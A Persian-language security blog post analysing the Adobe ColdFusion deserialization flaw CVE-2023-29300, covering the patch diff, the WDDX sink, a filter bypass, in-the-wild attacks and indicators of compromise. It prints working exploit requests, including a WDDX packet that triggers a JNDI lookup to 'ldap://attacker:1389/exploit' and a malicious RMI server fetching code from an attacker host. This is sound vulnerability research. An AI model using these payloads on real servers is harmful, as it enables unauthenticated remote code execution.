Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • آنالیز و اکسپلویت آسیب پذیری CVE-2023-29300
  • آسیب پذیری امنیتی
  • اخبار
  • بازیگران تهدید
  • توسعه اکسپلویت
  • مقالات

آنالیز و اکسپلویت آسیب پذیری CVE-2023-29300

On تیر 30, 1402تیر 31, 1402
seyyid
Share
زمان مطالعه: 12 دقیقه

همونطور که در این پست اشاره کرده بودیم، Adobe اخیرا یسری آسیب پذیری بحرانی رو در ColdFusion اصلاح کرده . یکی از این آسیب پذیری ها، CVE-2023-29300 بود که امکان اجرای کد بدون احرازهویت رو برای مهاجم راه دور فراهم میکرد. آسیب پذیری نسخه های 2018 و 2021 و 2023 رو تحت تاثیر قرار میداد. در این پست به بررسی و آنالیز این آسیب پذیری و حملاتی که باهاش انجام شده، پرداختیم.

قبلا از اینکه ادامه مقاله داشته باشیم، یه مروری روی آسیب پذیری های اخیر میندازیم:

  • آسیب پذیری CVE-2023-29298 : آسیب پذیری امکان دور زدن ویژگی های امنیتی رو فراهم می کرد. شدت بحرانی و امتیاز 7.5 داره. در این پست هم بررسی کردیم. 11 جولای انتشار و اصلاح شده. اکسپلویت شده.
  • آسیب پذیری CVE-2023-29300 : آسیب پذیری امکان اجرای کد از راه دور میده و از نوع Deserialization of Untrusted Data هستش. شدت بحرانی و امتیاز 9.8 داره. 11 جولای انتشار و اصلاح شده.
  • آسیب پذیری CVE-2023-29301 : آسیب پذیری امکان دور زدن ویژگی های امنیتی رو فراهم میکنه . شدت مهم و امتیاز 5.9 داره. 11 جولای افشاء و اصلاح شده.
  • آسیب پذیری CVE-2023-38203 : آسیب پذیری امکان اجرای کد دلخواه رو میده. شدت بحرانی و امتیاز 9.8 داره. 14 جولای افشاء و اصلاح شده. اکسپلویت شده.
  • آسیب پذیری CVE-2023-38204 : آسیب پذیری امکان اجرای کد دلخواه رو میده. شدت بحرانی و امتیاز 9.8 داره. 19 جولای افشاء و اصلاح شده.
  • آسیب پذیری CVE-2023-38205 : آسیب پذیری امکان دور زدن ویژگی های امنیتی رو میده. شدت بحرانی و امتیاز 7.5 داره. 19 جولای افشاء و اصلاح شده. اکسپلویت شده.
  • آسیب پذیری CVE-2023-38206 : آسیب پذیری امکان دور زدن ویژگی های امنیتی رو میده. شدت اون متوسط و امتیاز 5.3 داره. 19 جولای افشاء و اصلاح شده.

در حال حاضر نسخه اصلاح شده که همه رو اصلاح میکنه :

 

Product

Updated Version

Platform

Priority rating

Availability

ColdFusion 2023

Update 3

All

1

Tech Note

ColdFusion 2021

Update 9

All

1

Tech Note

ColdFusion 2018

Update 19

All

1

Tech Note

 

بررسی اصلاحیه:

محققا برای آنالیز از روش Patch Diff استفاده کردن. یعنی نسخه آسیب پذیر رو با نسخه اصلاح شده بررسی کردن و جاهایی که تغییر کرده ، مثلا حذف شده یا اضافه شده یا دستکاری شده رو ، مقایسه کردن تا به منطق آسیب پذیری برسن. برای اینکار از نسخه آسیب پذیر Adobe ColdFusion 2021 update 6 و نسخه Adobe ColdFusion 2021 update 7 که اصلاح شده ، استفاده کردن.

برای مقایسه از git diff استفاده کردن و متوجه شدن که فایل coldfusion.wddx.DeserializerWorker.java شامل تغییرات زیادی هستش:

 

patch diff نسخه ها

 

این یه WDDX packet deserializer از نوع XML هستش. WDDX یا Web Distributed Data eXchange هم یه نوع XML vocabulary هستش. XML vocabulary عناصری هستن که در برنامه های کاربردی یا فرمت داده ای خاص برای مشخص کردن معانی اون فرمتها، مورد استفاده قرار میگیرن. مثلا در CDF نام عناصری مانند <SCHEDULE> و <CHANNEL> و <ITEM> واژگانی (vocabulary) برای توصیف مجموعه‌ای از صفحاتی که باید دانلود بشن و غیره رو تشکیل میدن.

همونطور که گفتیم WDDX یه نوع XML vocabulary هستش که در coldfusion برای توصیف ساختارهای داده پیچیده در یه روش استاندارد و عمومی استفاده میشه. پیاده سازی اون به شما این امکان رو میده که از پروتکل HTTP برای انتقال اطلاعات در بین پلتفرمهای سرور برنامه ، سرورهای برنامه و مرورگر استفاده کنید. در کل کارش اینه که داده ها رو بین محیط های مختلف منتقل کنه.

اگه برگردیم به شکل بالا متوجه میشیم که در داخل DeserializerWorker و متد startElement یه اعتبارسنجی جدید از طریق validateWddxFilter برای عنصر struct اضافه شده .

 

Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void startElement(String name, AttributeList atts) throws SAXException {
        try {
...
            if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) {
                validateWddxFilter(atts);
            }
           ...
        } catch (WddxDeserializationException e) {
            throwSAXException(e);
        }
    }
 
   private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {
        String attributeType = atts.getValue("type");
        validateBlockedClass(attributeType);
    }
 
    private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {
        if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {
            throw new InvalidWddxPacketException();
        }
    }

 

عنصر struct حالا یه بررسی برای ویژگی type انجام میده تا مطمئن بشه که className با coldfusion شروع میشه و یسری بررسی های دیگه رو هم انجام میده. تابع validateBlockedClass نشون میده که یه fully qualified class name (FQCN) بعنوان ویژگی type ارسال میشه. بنابراین میشه در نظر گرفت که آسیب پذیری در validateWddxFilter هستش.

 

 

تجزیه WDDX Packet :

با توجه به مطالب بالا، محققا رفتن سراغ WDDX Packet ها و اطلاعاتی از ساختار و نحوه کارشون بدست آوردن. هر عنصر WDDX مربوط به یه کنترل کننده خاصی هستن. مثلا struct توسط StructHandler مدیریت میشه. با توجه به اینکه تغییرات در عنصر struct صورت گرفته، بنابراین محققا رفتن سراغ تجزیه WDDX struct .

 

1
<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>

 

محققا از طریق مهندسی معکوس، نحوه تجزیه این ساختارهارو درک کردن. در این بررسی متوجه شدن که Java reflection ها بصورت گسترده در بلوکهای کد خاصی استفاده شدن، که نشون میده ورودی کاربر تحت reflection invocation هستش.

reflection یه کلاسی در جاوا هستش که امکان میده در موقع اجرا اطلاعاتی از ساختارهایی مانند کلاس، متد ، فیلد، اینترفیس و … بدست بیاریم و حتی بتونیم اونارو تغییر بدیم. برای مثال قطعه کد زیر در نظر بگیرید :

 

Java
1
2
3
4
5
6
7
8
9
10
11
public class ReflectionGame {
 
    private boolean challengeDone = false;
 
    public void CheckChallenge(){
        if(challengeDone)
            System.out.println("Challenge Done :D");
        else
            System.out.println("Try again :(");
    }
}

 

ما یه برنامه داریم بنام ReflectionGame ، که میاد مقدار challengeDone رو بررسی میکنه ، اگه مقدار برابر true باشه که برنده هستیم، اما اگه false باشه ، چالش رو باید تکرار کنیم. خب مسلما برای اینکه بتونیم این چالش رو برنده بشیم باید مقدار challengeDone رو برابر true قرار بدیم.

یکی از روشهایی که میشه اینکار کرد استفاده از Reflection هستش. برای اینکار ما از کد زیر استفاده میکنیم :

 

Java
1
2
3
4
5
6
7
8
9
10
11
12
13
ReflectionGame reflectionGame = new ReflectionGame();
Class reflectionGameClass = reflectionGame.getClass();
Field challengeDone = null;
try {
  challengeDone = reflectionGameClass.getDeclaredField("challengeDone");
} catch (NoSuchFieldException ignored) { }
if (challengeDone != null) {
  challengeDone.setAccessible(true);
  try {
    challengeDone.set(reflectionGame, true);
  } catch (IllegalAccessException ignored) { }
}
reflectionGame.CheckChallenge();

 

در خط 1و2 ما دنبال کلاس مد نظرمون هستیم که اینجا ReflectionGame هستش، این قدم اول ما. در قدم بعدی داخل این کلاس دنبال اون عنصری هستیم که میخواییم تغییر بدیم. این کار در خطوط 3 تا 6 انجام شده. خب حالا ما کلاس و اون عنصرمون رو داریم، اما چون عنصر مد نظر ما از نوع private هستش، باید دسترسی به اونو آزاد کنیم. این کار توسط خط 8 انجام میشه. در نهایت از طریق خط 10 مقدار اونو true میکنیم.

در مثال بالا ما از Reflection استفاده کردیم و اون تغییری که دادیم در حقیقت reflection invocation بود که امکان دسترسی یا تغییر یه فیلد یا فراخونی متد رو میده.

اگه برگردیم به آسیب پذیری خودیم، جریان کد زیر  فرایند جالب تجزیه رو نشون میده :

 

1
onEndElement() -> getClassBySignature() -> setBeanProperties()

 

پیدا کردن Sink :

در متد onEndElement ، یه بررسی روی فیلد m_strictType انجام میشه . این فیلد قبلا ،در صورتیکه ویژگی type در عنصر struct در WDDX packet ارائه شده باشه، مقداری رو میگیره. در کد هم میبینید که مقدار اون رو با null بررسی میکه.

 

Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void onEndElement() throws WddxDeserializationException {
  
        if (this.m_strictType == null) {
            setTypeAndValue(this.m_ht);
            return;
        }
        try {
            Class beanClass = getClassBySignature(this.m_strictType);
            Object bean = beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
            setBeanProperties(bean, this.m_ht);
            setTypeAndValue(bean);
        } catch (Exception e) {
...
        }
    }

 

اگه بررسی اوکی بود، getClassbySignature فراخوانی میشه. این تابع از reflection برای بدست آوردن یه نمونه کلاس استفاده میکنه. پارامتر اون m_strictType هستش که یه ورودی تحت کنترل کاربر هستش . از اسم تابع ، کاراکتر اول و آخر حذف میکنه ، احتمالا به این دلیل که انتظار داره ورودی به فرم  LclassName باشه.

 

1
2
3
4
5
6
7
8
9
private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {
        char c = jniTypeSig.charAt(0);
        switch (c) {
            ...
            default:
                String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);
                return Class.forName(className);
        }
      }

 

بعد از اینکه نام کلاس مورد نظر بدست آوردیم، از reflection برای دسترسی به سازنده کلاس، بخصوص سازنده بدون آرگومان، استفاده میکنه و یه نمونه از کلاس می سازه. در ادامه این نمونه همراه با فیلد m_ht که قابل کنترل توسط کاربر و دارای متغیرهای WDDX هستش، به setBeanProperties ارسال میشه.

 

Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    private void setBeanProperties(Object bean, Map props) throws WddxDeserializationException {
        Hashtable descriptors;
        try {
            BeanInfo beanInfo = Introspector.getBeanInfo(bean.getClass(), Object.class);
            PropertyDescriptor[] descriptorArray = beanInfo.getPropertyDescriptors();
            descriptors = new Hashtable();
            for (int i = 0; i < descriptorArray.length; i++) {
                descriptors.put(descriptorArray[i].getName(), descriptorArray[i]);
            }
        } catch () {
            ...
        }
        for (String propName : props.keySet()) {
            Object propValue = props.get(propName);
            IndexedPropertyDescriptor indexedPropertyDescriptor = (PropertyDescriptor) descriptors.get(propName);
            if (indexedPropertyDescriptor != null) {
                if (indexedPropertyDescriptor instanceof IndexedPropertyDescriptor) {
                    ...
                } else {
                    Method method2 = indexedPropertyDescriptor.getWriteMethod();
                    if (method2 != null) {
                        try {
                            Class[] types2 = method2.getParameterTypes();
                            Object value2 = ObjectConverter.convert(propValue, types2[0]);
                            method2.invoke(bean, value2);
                        } catch () {
                            ...
                        }
                    }
                }
               ...
            }
        }
    }

 

در تابع بالا، متد getPropertyDescriptors در BeanInfo  یه آرایه ای از اشیای PropertyDescriptor برمیگردونه. هر PropertyDescriptor یه خاصیت از bean رو نشون میده و حاوی اطلاعاتی در مورد نام ویژگی، نوع داده ای و متدهای getter/setter هستش. در نهایت شاهد استفاده از IndexedPropertyDescriptor هستیم که دارای getReadMethod  و getWriteMethod هستش که به ترتیب عمل getter و setter رو انجام میدن.

در کد بالا اگه متد getWriteMethod که بعنوان setter هستش اجرا بشه، یه مقداری رو برمیگردونه که در method2 ریخته میشه. در ادامه یسری متغیر رو مقداردهی میکنه و در نهایت از طریق Java Reflection میاد و bean بهمراه متغیرها فراخوانی میکنه. متغیرها از WDDX packet میان و قابل کنترل توسط کاربر هستن.

یه خلاصه اگه داشته باشیم اینه که ، ما یه آسیب پذیری رو شناسایی کردیم که در اون یه متد از یه کلاس رو در یه شرایط خاصی ،میتونیم فراخونی کنیم :

  • کلاس باید یه سازنده عمومی و بدون آرگومان داشته باشه.
  • متد باید یه setter باشه که شروع نامش با set باشه.
  • متد setter فقط یه آرگومان بگیره.

اینجا ما sink آسیب پذیر رو شناسایی کردیم و حالا باید دنبال یه منبع بدون احرازهویت برای این sink باشیم.

 

پیدا کردن منبع:

محققا با دیکامپایل WddxDeserializer، تونستن یه ارجاع به WddxDeserializer در کلاس FilterUtils رو کشف کنن.

 

Java
1
2
3
4
5
public static Object WDDXDeserialize(String str) throws Throwable {
        WddxDeserializer deserializer = new WddxDeserializer();
        InputSource source = new InputSource(new StringReader(str));
        return deserializer.deserialize(source);
    }

 

بطور خاص داخل متد GetArgumentCollection استفاده میشه. این متد محتوای درخواست بعنوان ورودی میگیره و پارامتر argumentCollection رو از هر فرم یا کوئری استخراج میکنه. در ادامه بررسی میکنه که آیا این داده های بدست اومده از نوع JSON هستش یا نه. اگه نباشه فرایند Deserialization بعنوان WDDX packet ، با فراخونی WDDXDeserialize انجام میگیره.

 

Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    public static Map GetArgumentCollection(FusionContext context) throws Throwable {
        Struct argumentCollection;
        HttpServletRequest httpServletRequest = context.request;
        String attr = (String) context.pageContext.findAttribute("url.argumentCollection");
        if (attr == null) {
            attr = (String) context.pageContext.findAttribute("form.argumentCollection");
        }
        if (attr == null) {
            argumentCollection = new Struct();
        } else {
            String attr2 = attr.trim();
            if (attr2.charAt(0) == '{') {
                argumentCollection = (Struct) JSONUtils.deserializeJSON(attr2);
            } else {
                argumentCollection = (Struct) WDDXDeserialize(attr2); // Call to vulnerable Sink here
            }
        }

 

با مطالعه ای که انجام دادن و بررسی آسیب پذیری های دیگه، متوجه شدن که نیاز به یه نقطه پایایی CFC دارن. بطور کلی باید یه نقطه پایانی CFC پیدا کنن که قبل از احرازهویت ، GetArgumentCollection رو فراخونی کنه و در ادامه sink آسیب پذیر ما یعنی WDDXDeserialize رو فراخونی کنه. این ویژگی ها در /CFIDE/adminapi/accessmanager.cfc هستش. البته میشه این آسیب پذیری رو با CVE-2023-29298 هم ترکیب کرد.

درخواست نمونه برای دسترسی به WDDX StructHandler ، بصورت زیر هستش :

 

1
2
3
4
5
6
7
8
9
10
11
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
 
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xclassNamex'><var name='VERSION'><string>1.0.0</string></var></struct></data></wddxPacket>

 

برای بررسی و تایید ، یه دیباگر JVM راه اندازی و روی متد invoke یه بریک پوینت گذاشتن. برای تایید آسیب پذیری یه کلاس ساده بنام java.util.Date رو انتخاب کردن که واجد شرایط بالا هم هستش. این کلاس یه متد setter  بنام setDate داره. بعدش یه WDDX packet در درخواست مطابق زیر ایجاد کردن :

 

1
2
3
4
5
6
7
8
9
10
11
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
 
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xjava.util.Datex'><var name='date'><string>our_input</string></var></struct></data></wddxPacket>

 

در این مرحله محققا تونستن java.util.Date.setDate(our_input) رو فراخوانی کنن. قدم بعدی اینکه بتونن با آسیب پذیری اجرای کد کنن.

 

تبدیل JNDI Injection به RCE :

قبل از اینکه ادامه بحث رو بریم یه نگاهی به آسیب پذیری JNDI injection بندازیم.

Java Naming and Directory Interface یا JNDI یه API جاوا هستش که امکان جستجو و مشاهده اشیاء و داده هارو از طریق نام میده. این اشیاء رو میتونیم در سرویس های مختلفی مانند Remote Method Invocation (RMI) و Common Object Request Broker Architecture (CORBA) و Lightweight Directory Access Protocol (LDAP) یا Domain Name Service (DNS) ذخیره کنیم.

بطور کلی JNDI یه API جاوا هستش که یه رشته رو بعنوان پارامتر دریافت میکنه ، اگه این پارامتر از یه منبع نامعتبر بیاد، امکان اجرای کد از راه دور با لوود یه کلاس راه دور رو فراهم میکنه. یه نمونه معروف CVE-2015-4902 هستش.

برای مثال فرض کنید برنامه آسیب پذیر زیر رو داریم :

 

Java
1
2
3
4
5
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
    return new javax.naming.InitialContext().lookup(name);
}

 

در این برنامه در خط آخر از JNDI استفاده شده. برای اکسپلویت اون در نسخه های قبل از JDK 1.8.0_191 میتونیم یه درخواست به آدرس زیر ارسال کنیم :

 

1
/lookup/?name=ldap://127.0.0.1:1389/Object

 

ما می توانیم سرور آسیب پذیر رو به آدرس کنترل شده خودمون متصل کنیم. برای راه اندازی لوود کلاس راه دور، یک سرور RMI مخرب میتونه بصورت زیر پاسخ بده:

 

1
2
3
4
5
6
7
8
9
10
11
12
public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
        Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

 

با توجه به اینکه ExploitObject برای سرور هدف ناشناخته هستش، bytecode اون از http://_attacker.com_/ExploitObject.class لوود و اجرا میشه که منجر به RCE میشه.

بعد از یه آشنایی کوتاه با این تکنیک به آسیب پذیری خودمون برگردیم. محققا با بررسی بیشتر به کلاس com.sun.rowset.JdbcRowSetImpl رسیدن که واجد شرایط بوده. اگه یه آرگومان از نوع boolean به متد setAutoCommit در این کلاس ارسال کنیم، یه JNDI lookup dataSourceName انجام میشه که از طریق متد setDataSourceName مقداردهی میشه. این کشف باعث شده که محققا متوجه بشن که فراخوانی setDataSourceName بعد از setAutoCommit منجر به آسیب پذیری JNDI injection میشه.

نکته ای که هست، در حین انجام فراخوانی متدها در داخل یه حلقه for هستیم و می‌تونیم چندین متد رو در نمونه bean فراخوانی کنیم.

در این مرحله ما به یه آسیب پذیری JNDI injection از طریق WDDX deserialization رسیدیم که امکان اجرای کد از راه دور رو هم میده.

این درخواست میتونه بصورت زیر باشه :

 

1
2
3
4
5
6
7
8
9
10
11
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
 
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>

 

با بررسی مسیر کلاسها ، متوجه شدن که از چندین کتابخونه از جمله commons-beanutils-1.9.4 استفاده شده. بنابراین یه پیلود ysoserial java deserialization برای commons-beanutils ایجاد کردن و اونو روی یه سرور LDAP بایند کردن. نتیجه اجرای کد دلخواه روی Adobe ColdFusion 2021 (Update 6) شده.

 

اجرای کد CVE-2023-29300

 

برای آسیب پذیری CVE-2023-29300 ، یه تمپلیت Nuclei هم توسعه داده شده که میتونید باهاش اسکن کنید :

 

1
nuclei -id CVE-2023-29300 -list coldfusion_list.txt

 

nuclei CVE-2023-29300

 

Adobe علاوه بر این آسیب پذیری دوتا آسیب پذیری اجرای کد قبل از احرازهویت دیگه به شناسه CVE-2023-38203 و CVE-2023-38204 رو هم اصلاح کرده که یه روش برای دور زدن اصلاحیه این آسیب پذیری بودن.

 

حاشیه های این آسیب پذیری:

محققای projectdiscovery این آسیب پذیری رو در قالب یه مقاله در 12 جولای منتشر کردن اما بعد از یه مدتی اونو برداشتن. داستان اینجوری بوده که اینا اولش یه کلاس بنام com.sun.rowset.JdbcRowSetImpl پیدا کردن که پتانسیل اجرای کد از راه دور داشته و در blacklist/denylist هم نبوده. در نتیجه با فرض اینکه دارن یه nday رو توضیح میدن، یه زیرودی رو افشاء کرده بودن. بعد این قضیه Adobe باهاشون تماس میگیره و میگه که بصورت موقت پست انتشار ندید.

Adobe یه بروزرسانی انجام داد که این کلاس رو در لیست سیاه قرار میده که این رو هم محققای projectdiscovery با CVE-2023-38203 دور زدن.

نکته ای که هست اکسپلویت محققای projectdiscovery حتی بعد از انتشار اصلاحیه CVE-2023-38203 هم کار میکرده. در نتیجه اومدن بررسی کردن و متوجه شدن که دور زدن اونا محدود به کلاسی که در لیست سیاه هستش نیست، بلکه اعتبارسنجی تابع بلک لیست رو دور زدن. در نتیجه Adobe این رو هم با شناسه CVE-2023-38204 ، اصلاح کرده.

 

مشکل اصلاحیه چی بوده

اما مشکل بروزرسانی Adobe چی بوده. مشکلشون در فرایند تطابق فیلترشون بوده. وقتی ورودی به صورت زیر باشه :

 

1
Lcom.sun.rowset.JdbcRowSetImpl;

 

تطابق درسته و پیلود بلاک میشه. چون فیلتر انتظار کاراکترهای L  و ; رو داره و اونارو با کاراکتر خالی جایگزین میکنه. اما اگه ورودی بصورت زیر باشه ، تطابق صورت نمیگیره و پیلود مسدود نمیشه :

 

1
Xcom.sun.rowset.JdbcRowSetImplX

 

در DeserializationWorker :

 

Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void validateWddxFilter(AttributeList atts) {
        String attributeType = atts.getValue("type");
        if (attributeType.endsWith(";")) {
            attributeType = attributeType.replace(";", "");
        }
        if (attributeType.startsWith("L")) {
            String attributeTypeCopy = attributeType;
            validateBlockedClass(attributeTypeCopy.replaceFirst("L", ""));
        }
        validateBlockedClass(attributeType);
    }
 
    private void validateBlockedClass(String attributeType) {
        if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && ... && WddxFilter.invoke(attributeType)) {
            throw new InvalidWddxPacketException();
        }
    }

 

 

در StructHandler :

 

Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private static Class getClassBySignature(String jniTypeSig) {
 
    char c = jniTypeSig.charAt(0);
    switch (c) {
        ...
        case 'E':
        case 'G':
        case 'H':
        case 'K':
        case 'L':
        case 'M':
        case 'N':
        case 'O':
        case 'P':
        case 'Q':
        case 'R':
        case 'T':
        case 'U':
        case 'V':
        case 'W':
        case 'X':
        case 'Y':
        default:
            String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);
            return Class.forName(className);
        ...
    }
 
}

 

اگرچه Xcom.sun.rowset.JdbcRowSetImplX یه نام کلاس معتبر نیستش، اما با توجه به اینکه قبل از استفاده از کلاس، فرایند substring رو انجام میدن و کاراکتر ابتدایی و انتهایی رو حذف میکنن، اونو معتبر میکنن. با این حال در حین بررسی ، اونو با “X<class name>X ” بررسی میکنن که دقیقا با <class name> فیلترشده مطابقت نداره. این ناهنمانگی در فرایند فیلتر کردن، منجر به دور زدن آسیب پذیری میشه.

محققا اعلام کردن که قصدشون هرگز انتشار یه اکسپلویت زیرودی یا آسیب رساندن به مشتریان ColdFusion نبوده . هدفشون به اشتراک گذاشتن اطلاعات در مورد یه آسیب‌پذیری اصلاح شده ، افزایش آگاهی و ارائه یه تمپلیت Nuclei برای سازمان‌ها برای شناسایی آسیب‌پذیری در دارایی‌هاشون بوده. 

 

حمله هکرها با CVE-2023-29300 :

محققای rapid7 در خصوص نحوه اکسپلویت این آسیب پذیری توسط مهاجمین، گزارشی منتشر کردن . در این گزارش اومده که در لاگ IIS یسری درخواست POST به accessmanager.cfc مشاهده کرده مطابق درخواست زیر که در گزارش projectdiscovery اومده :

 

حمله با CVE-2023-29300

 

در ادامه هکرها یه دستور انکد شده پاورشل رو روی نقطه پایانی اجرا میکنن تا یه وب شل رو بمنظور دسترسی به نقطه پایانی ایجاد کنه. این وب شل معمولا در مسیر "\wwwroot\CFIDE directory" هستش :

 

1
.\ColdFusion11\cfusion\wwwroot\CFIDE\ckeditr.cfm

 

همچنین یسری دستورات cURL رو هم به Burpsuite URL زیر و دستور nltest /domain_trusts روی domain controller رو مشاهده کردن :

 

1
hXXp://rlgt1hin2gdk2p3teyhuetitrkxblg95.oastify[.]com

 

IOCهای گزارش :

 

IP addresses:
62.233.50[.]13
5.182.36[.]4
195.58.48[.]155

Domains:

  • oastify[.]com
  • ckeditr[.]cfm (SHA256 08D2D815FF070B13A9F3B670B2132989C349623DB2DE154CE43989BB4BBB2FB1)

 

 

 

منابع

مقاله alirezabeigy

مقاله projectdiscovery

مقاله veracode

گزارش rapid7

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبار بازیگران تهدید توسعه اکسپلویت مقالاتIn ColdFusion , CVE-2023-29298 , CVE-2023-29300 , CVE-2023-38203 , java deserialization , JNDI Injection , Patch Diff , WDDX , XML vocabulary , ysoserial , آموزش اکسپلویت نویسی , تمپلیت nuclei

راهبری نوشته

توجه هکرها به پلاگین آسیب پذیر Jira
گوگل و تیم قرمز برای سیستمهای هوش مصنوعی

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

پست های مرتبط

  • آنالیز بدافزار
  • اخبار
  • بازیگران تهدید
  • تیم آبی
  • مقالات
seyyid
On اردیبهشت 11, 1403اردیبهشت 11, 1403

ایران یکی از قربانیان کرم PlugX + فایلهای نمونه

  • آسیب پذیری امنیتی
  • اخبار
  • مقالات
seyyid
On آذر 22, 1403

بررسی Patch Tuesday مایکروسافت برای دسامبر 2024 (آذر 1403)

  • آسیب پذیری امنیتی
  • اخبار
  • مهندسی معکوس نرم افزار
seyyid
On مهر 2, 1402مهر 4, 1402

اجرای کد دلخواه در dnSpy با تکنیک DLL Hijacking + نمونه PoC

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On اسفند 6, 1401فروردین 28, 1402

اصلاح 9 آسیب پذیری در سیسکو

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت لینوکس مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

